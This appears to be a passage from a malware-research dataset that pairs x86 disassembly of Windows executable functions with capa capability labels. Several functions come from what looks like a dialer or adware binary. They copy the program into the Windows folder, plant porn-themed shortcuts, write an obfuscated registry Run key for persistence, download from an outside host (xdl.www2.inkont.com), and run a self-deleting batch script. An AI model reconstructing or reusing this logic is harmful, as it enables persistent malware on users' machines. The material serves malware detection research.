joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ac50
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60000
jae 0x40ac7a
mov eax, 2
pop ebp
ret
push esi
call fcn.00408e80
mov esi, eax
mov eax, dword [ebp + 8]
mov edx, dword [esi + 0x70]
mov ecx, edx
and cl, 2
movzx ecx, cl
neg ecx
sbb ecx, ecx
inc eax
cmp eax, 3
ja case.default.0x40ac9a
jmp dword [eax*4 + 0x40acd0]
or edx, 2
lea eax, [ecx + 2]
mov dword [esi + 0x70], edx
pop esi
pop ebp
ret
and edx, 0xfffffffd
mov dword [esi + 0x70], edx
lea eax, [ecx + 2]
pop esi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
call fcn.004091f0
or eax, 0xffffffff
pop esi
pop ebp
ret

Function at 0x40ace0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
mov eax, dword [0x416024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x40addb
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x40addb
xor ecx, ecx
mov al, byte [ecx + esi]
lea edx, [ecx + ecx]
test al, al
je 0x40ad3a
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x40ad18
jmp 0x40addb
cmp edx, 0x200
jae 0x40ae41
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x40addb
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call edi
test eax, eax
je 0x40adda
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call edi
test eax, eax
je 0x40adda
lea edi, [ebp - 0x504]
xor eax, eax
nop
movzx ecx, word [edi + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x40ae23
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x40adc0
pop edi
mov eax, dword [0x1996da8]
test eax, eax
jne 0x40ae01
push str.setlocale
call fcn.0040d100
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40adfc
or eax, 0xffffffff
mov dword [0x1996da8], eax
lea ecx, [eax + 1]
neg ecx
sbb ecx, ecx
and ecx, eax
je 0x40ae2f
push esi
push ebx
call ecx
add esp, 8
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407d4b
mov esp, ebp
pop ebp
ret
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x40adda
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.00407d4b
mov esp, ebp
pop ebp
ret
call fcn.004086eb
int3

Function at 0x40baa0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.0040bad0
mov esi, dword [ebp + 8]
test al, al
je 0x40babe
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.0040bae0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40bc10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40bc6c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40bc6c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40bc6c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40bc6c
cmp dword [ecx + 0x74], 0xe
jbe 0x40bc6c
cmp dword [ecx + 0xe8], 0
je 0x40bc6c
push dword [ebp + 8]
call fcn.0040bae0
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x2a46ddc
call fcn.0040b8b0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x40bca1
push dword [ebp + 8]
call fcn.0040baa0
mov esp, ebp
pop ebp
ret

Function at 0x40bce0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40bd3c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40bd3c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40bd3c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40bd3c
cmp dword [ecx + 0x74], 0xe
jbe 0x40bd3c
cmp dword [ecx + 0xe8], 0
je 0x40bd3c
push dword [ebp + 8]
call fcn.0040bae0
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x2a46ddc
call fcn.0040b8b0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x40bd71
push dword [ebp + 8]
call fcn.0040baa0
mov esp, ebp
pop ebp
ret

Function at 0x40fef0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40ff1d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40ff1d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4014fa
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
lea eax, [ebp - 0x208]
push eax
call fcn.00403343
test al, al
pop ecx
je 0x401603
lea eax, [ebp - 0x30c]
push eax
call fcn.0040344a
test al, al
pop ecx
je 0x401603
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x208]
push edi
push eax
lea eax, [ebp - 0x104]
push str._sXXX_NOW.lnk
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x104]
push str._sLipGame.lnk
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push str._sTheDoctor.lnk
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x104]
push str._sDating.lnk
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push str._sPORN_JACK_POT.lnk
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x104]
push str._sWIN_PORN_DVD.lnk
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call edi
pop edi
pop esi
push 0x409a20
call fcn.00403c80
pop ecx
leave
ret
Function at 0x402077
Capabilities:
Create process on windows

Disassembly:
push ebx
xor ebx, ebx
cmp byte [esp + 0xc], bl
push 1
push ebx
je 0x40208f
push dword [esp + 0x10]
call fcn.004020a0
push eax
jmp 0x402094
push ebx
push dword [esp + 0x14]
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebx
ret 8

Function at 0x4020a0
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x406558
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x44
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov eax, dword [esi]
cmp dword [eax - 8], ebx
jne 0x4021de
lea eax, [ebp - 0x50]
push str.http_shellopencommand
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
lea eax, [ebp - 0x14]
pop ecx
push eax
push 0x20019
lea eax, [ebp - 0x50]
push ebx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40214c
lea eax, [ebp - 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 0x10], ebx
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x402143
cmp dword [ebp - 0x10], ebx
jbe 0x402143
push dword [ebp - 0x10]
call sub.MFC42.DLL_operatornew
cmp eax, ebx
pop ecx
mov dword [ebp - 0x18], eax
je 0x402143
lea ecx, [ebp - 0x10]
push ecx
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x40213a
push dword [ebp - 0x18]
mov ecx, esi
call sub.MFC42.DLL_CString::operator_1
push dword [ebp - 0x18]
call sub.MFC42.DLL_operatordelete
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi]
cmp dword [eax - 8], ebx
jle 0x4021de
push 0x22
mov ecx, esi
call sub.MFC42.DLL_CString::Find_1
push 0x22
mov ecx, esi
mov edi, eax
call sub.MFC42.DLL_CString::ReverseFind
cmp edi, ebx
jl 0x40219c
cmp eax, ebx
jl 0x40219c
cmp edi, eax
je 0x4021de
sub eax, edi
mov ecx, esi
dec eax
inc edi
push eax
lea eax, [ebp - 0x18]
push edi
push eax
call sub.MFC42.DLL_CString::Mid
push eax
mov ecx, esi
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::operator
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
jmp 0x4021d9
push 0x5c
mov ecx, esi
call sub.MFC42.DLL_CString::ReverseFind
cmp eax, ebx
jle 0x4021de
push eax
push 0x20
mov ecx, esi
call sub.MFC42.DLL_CString::Find_2
cmp eax, ebx
jle 0x4021de
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, esi
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, esi
mov dword [ebp - 4], 1
call sub.MFC42.DLL_CString::operator
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CString::CString
mov eax, dword [esi]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4021f8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
push esi
push edi
mov edi, dword [ebp + 0x10]
push edi
call fcn.004021f4
push edi
call fcn.004021f4
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push str._install
push edi
call esi
add esp, 0x10
test eax, eax
je 0x402233
push dword [ebp + 8]
push edi
call fcn.004030db
pop ecx
jmp 0x402283
push 0x409224
push edi
call esi
pop ecx
test eax, eax
pop ecx
je 0x40228e
lea eax, [ebp - 0x1a8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x1a8]
push str.itunesff.exe
push eax
call esi
pop ecx
test eax, eax
pop ecx
jne 0x402286
lea eax, [ebp - 0x1a8]
push str.ITUNESFF.EXE
push eax
call esi
pop ecx
test eax, eax
pop ecx
jne 0x402286
push edi
call fcn.00401610
pop ecx
jmp 0x4022e3
push edi
call fcn.00404dc9
jmp 0x402283
push 0x44
xor esi, esi
pop edi
lea eax, [ebp - 0x54]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
mov dword [ebp - 0x54], edi
call sub.MSVCRT.dll_memset
push str.__FS:file_system____V:label____Q____A:size____C____X_
lea eax, [ebp - 0xa4]
push str.cmd.exe__k_echo_FORMAT_volume__s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x24
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0xa4]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop edi
xor eax, eax
pop esi
leave
ret 0x10

Function at 0x40292e
Capabilities:
Initialize iwebbrowser2

Disassembly:
mov eax, 0x4065d4
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x10
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x68], 0
lea ebx, [edi + 0x68]
jne 0x4029ea
lea esi, [edi + 0x6c]
push esi
push 0x407608
push 4
push 0
push 0x4075f8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x402985
push ebx
push 1
push 0x4075c8
mov ecx, edi
call sub.MFC42.DLL_CCmdTarget::GetInterface
push eax
push 0x4075d8
push dword [esi]
call sub.MFC42.DLL_AfxConnectionAdvise
cmp dword [ebx], 0
je 0x4029ea
mov eax, dword [esi]
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
lea eax, [ebp - 0x1c]
push eax
call sub.MFC42.DLL_AfxVariantInit
push dword [ebp + 8]
and dword [ebp - 4], 0
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esi]
mov byte [ebp - 4], 1
mov edi, dword [ecx]
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call sub.MFC42.DLL_CString::AllocSysString
push eax
push dword [esi]
call dword [edi + 0x2c]
and byte [ebp - 4], 0
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x402c81
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push str.WINDIR
call dword [sym.imp.MSVCRT.dll_getenv]
mov dword [esp], str.s_2.b
push 0x409300
push eax
lea eax, [ebp - 0x104]
push str._s_simsin_sin
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll__findfirst]
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
je 0x402d15
lea eax, [ebp - 4]
push eax
call sub.MFC42.DLL_CTime::GetTickCount
mov eax, dword [eax]
push ecx
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [ebp - 0x210]
add eax, 0x1baf80
lea ecx, [ebp - 4]
push eax
call fcn.004032d4
mov ecx, eax
call fcn.004032df
test eax, eax
je 0x402d11
mov bl, 1
push esi
call dword [sym.imp.MSVCRT.dll__findclose]
pop ecx
mov al, bl
jmp 0x402d17
xor bl, bl
jmp 0x402d05
mov al, 1
pop esi
pop ebx
leave
ret

Function at 0x402d1b
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push esi
push str.WINDIR
call dword [sym.imp.MSVCRT.dll_getenv]
mov dword [esp], str.s_2.b
push 0x409300
push eax
lea eax, [ebp - 0x100]
push str._s_simsin_sin
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x100]
push 0x40930c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x402d78
push 0x40904c
push esi
call dword [sym.imp.MSVCRT.dll_fprintf]
pop ecx
pop ecx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
pop esi
leave
ret
Function at 0x402d83
Capabilities:
Copy file
Persist via lnk shortcut
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x564
push esi
push edi
push 0
push 0x409134
call fcn.00403759
pop ecx
lea eax, [ebp - 0x564]
pop ecx
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push str.WINDIR
call dword [sym.imp.MSVCRT.dll_getenv]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, eax
push edi
lea eax, [ebp - 0x258]
push str._sinternt.exe
push eax
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x28]
push dword [ebp + 8]
push str._go__c_d__w_s
push eax
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x50]
push dword [ebp + 8]
push str._go__c_d__w_s__cat99
push eax
call esi
add esp, 0x30
lea eax, [ebp - 0x258]
push 0
push eax
lea eax, [ebp - 0x564]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x460]
push eax
call fcn.00403343
test al, al
pop ecx
je 0x402f78
lea eax, [ebp - 0x35c]
push eax
call fcn.0040344a
test al, al
pop ecx
je 0x402f78
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x154]
push str._sXXX_NOW.lnk
push eax
call esi
push 1
push str.XXX_NOW
lea eax, [ebp - 0x28]
push edi
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00403494
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x154]
push str._sLipGame.lnk
push eax
call esi
push 2
push str.LipGame
lea eax, [ebp - 0x28]
push edi
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00403494
add esp, 0x48
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x154]
push str._sTheDoctor.lnk
push eax
call esi
push 3
push str.TheDoctor
lea eax, [ebp - 0x28]
push edi
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00403494
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x154]
push str._sDating.lnk
push eax
call esi
push 4
push str.Dating
lea eax, [ebp - 0x28]
push edi
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00403494
add esp, 0x48
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x154]
push str._sPORN_JACK_POT.lnk
push eax
call esi
push 5
push str.PORN_JACK_POT
lea eax, [ebp - 0x50]
push edi
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00403494
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x154]
push str._sWIN_PORN_DVD.lnk
push eax
call esi
push 6
push str.WIN_PORN_DVD
lea eax, [ebp - 0x50]
push edi
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.00403494
add esp, 0x48
pop edi
pop esi
leave
ret
Function at 0x402f7c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
push 0x4093cc
push 0x4093c8
push 0x4093c4
push str.SOFT
push 0x4093b8
lea eax, [ebp - 0x68]
push str.SOFTWAR_sICRO_sWINDOWSC_sENT_sSIONR_s_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
xor esi, esi
lea eax, [ebp - 4]
push esi
push eax
push esi
push 0x20006
push esi
push esi
lea eax, [ebp - 0x68]
push esi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x402fed
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0xc]
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret

Function at 0x402ff9
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
push esi
push edi
lea eax, [ebp - 0x464]
push 0x104
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x360]
push eax
call fcn.004032ed
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x360]
mov dword [esp], 0x409a24
push eax
lea eax, [ebp - 0x158]
push str._situ_snesff.exe
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x158]
push esi
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push dword [ebp + 0xc]
lea eax, [ebp - 0x158]
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x25c]
push str._s__go__c_d__w_s
push eax
call edi
lea eax, [ebp - 0x25c]
push eax
push str.itunesff
call fcn.00402f7c
push 1
push str.alternative
call fcn.00403fa4
push 0x44
lea eax, [ebp - 0x54]
pop edi
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
mov dword [ebp - 0x54], edi
call sub.MSVCRT.dll_memset
add esp, 0x3c
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
lea eax, [ebp - 0x25c]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop edi
pop esi
leave
ret
Function at 0x4030db
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push edi
push str.WINDIR
call dword [sym.imp.MSVCRT.dll_getenv]
mov dword [ebp - 0xc], eax
mov ax, word [0x40918c]
mov word [ebp - 0x48], ax
xor eax, eax
lea edi, [ebp - 0x46]
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x409188]
lea edi, [ebp - 0x32]
mov word [ebp - 0x34], ax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], 0x14
stosw word es:[edi], ax
call fcn.00402c81
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
test al, al
je 0x40327c
call fcn.00403df2
test al, al
je 0x40327c
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.00403571
add esp, 0x14
test al, al
je 0x40327c
lea eax, [ebp - 0x20]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jne 0x403181
lea eax, [ebp - 0x20]
push eax
call fcn.00401244
pop ecx
lea eax, [ebp - 0x34]
push esi
push eax
lea eax, [ebp - 0x20]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x248]
push str.http:__xdl.www2.inkont.com_kb2.php_cust_dw_sv_s
push eax
call esi
push 0x40955c
push 0x409558
push 0x409554
lea eax, [ebp - 0x148]
push dword [ebp - 0xc]
push str._sK_s_s22_s.log
push eax
call esi
lea eax, [ebp - 8]
and dword [ebp - 8], 0
push eax
lea eax, [ebp - 0x148]
push dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.00402317
add esp, 0x3c
cmp dword [ebp - 8], 0
jle 0x403229
call fcn.00402d1b
push 0x40953c
push dword [ebp + 8]
call ebx
pop ecx
test eax, eax
pop ecx
je 0x40320b
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
call fcn.00402ff9
pop ecx
pop ecx
push 0x409538
push dword [ebp + 8]
call ebx
pop ecx
test eax, eax
pop ecx
je 0x403229
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
call fcn.00402d83
pop ecx
pop ecx
mov edi, 0x409534
push str.ement.p
push edi
lea eax, [ebp - 0x248]
push str.http:__xdl.www2.inkont.com_swi_sagre_shp
push eax
call esi
push str.ement.t
push 0x4094f4
push edi
lea eax, [ebp - 0x148]
push dword [ebp - 0xc]
push str._s_swi_sag_s_sxt
push eax
call esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x148]
push dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.00402317
add esp, 0x38
pop esi
mov ax, word [0x409a20]
push 0x3f
mov word [ebp - 0x348], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x346]
rep stosd dword es:[edi], eax
push str.installbf
push dword [ebp + 8]
stosb byte es:[edi], al
call ebx
pop ecx
pop ecx
pop edi
test eax, eax
pop ebx
jne 0x4032c5
mov eax, str.:explorer
push eax
push eax
lea eax, [ebp - 0x348]
push str.:Repeat_r_ndel__c_s.cab__r_ndel__C:inst.hta__r_ndel__C:inst.exe__r_nif_exist__C:inst.hta__goto_Repeat_r_nif_exist__C:inst.exe__goto_Repeat_r_nif_exist__c_s.cab__goto_Repeat_r_ndel__delus.bat__r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x348]
push eax
call fcn.00403c80
pop ecx
leave
ret